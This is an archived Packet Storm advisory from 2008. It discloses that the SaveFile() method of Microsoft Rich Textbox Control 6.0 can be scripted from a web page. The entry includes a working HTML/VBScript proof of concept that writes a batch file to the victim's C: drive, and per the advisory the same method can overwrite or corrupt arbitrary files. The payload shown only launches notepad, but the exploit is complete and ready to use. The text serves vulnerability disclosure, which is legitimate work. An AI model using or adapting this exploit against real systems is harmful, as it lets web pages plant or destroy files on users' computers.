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msrtc-insecure.txt

🗓️ 10 Jan 2008 00:00:00Reported by shinnaiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Microsoft Rich Textbox Control 6.0 "SaveFile()" Insecure Metho

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Code
`<pre><code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------  
<b>Microsoft Rich Textbox Control 6.0 (SP6) "SaveFile()" Insecure Method</b>  
url: http://www.microsoft.com  
  
Author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://shinnai.altervista.org  
  
<b><font color='red'>This was written for educational purpose. Use it at your own risk.  
Author will be not responsible for any damage.</font></b>  
  
<b>Technical details:</b>  
File: RICHTX32.OCX  
ver.: 6.1.97.82  
  
While this GUID <b>{3B7C8860-D78F-101B-B9B5-04021C009402}</b> is  
killbited, this one <b><font color='green'>{B617B991-A767-4F05-99BA-AC6FCABB102E}</font></b>  
  
works fine so it is possible, using the "SaveFile()" method,  
to save the content of the rich textbox on a user's pc.  
This can be used to save, overwrite and/or corrupt arbitrary  
files on the system.  
  
It's marked as:  
<b>RegKey Safe for Script: False  
RegKey Safe for Init: False  
Implements IObjectSafety: True  
IPersist Safe: Safe for untrusted: caller,data  
IPStorage Safe: Safe for untrusted: caller,data</b>  
  
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7  
-----------------------------------------------------------------------------  
<object classid='clsid:B617B991-A767-4F05-99BA-AC6FCABB102E' id='test' style='width: 250px; height: 75px'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>  
<script language='vbscript'>  
Sub tryMe  
test.Text = "@echo off" & vbCrLf & "cmd.exe /c notepad.exe" & vbCrLf & "echo Hello World!" & vbCrLf & "pause"  
test.SaveFile "C:\shinnai.bat", 1  
MsgBox "Exploit completed!"  
End Sub  
</script></span></span></code></pre>  
  
`

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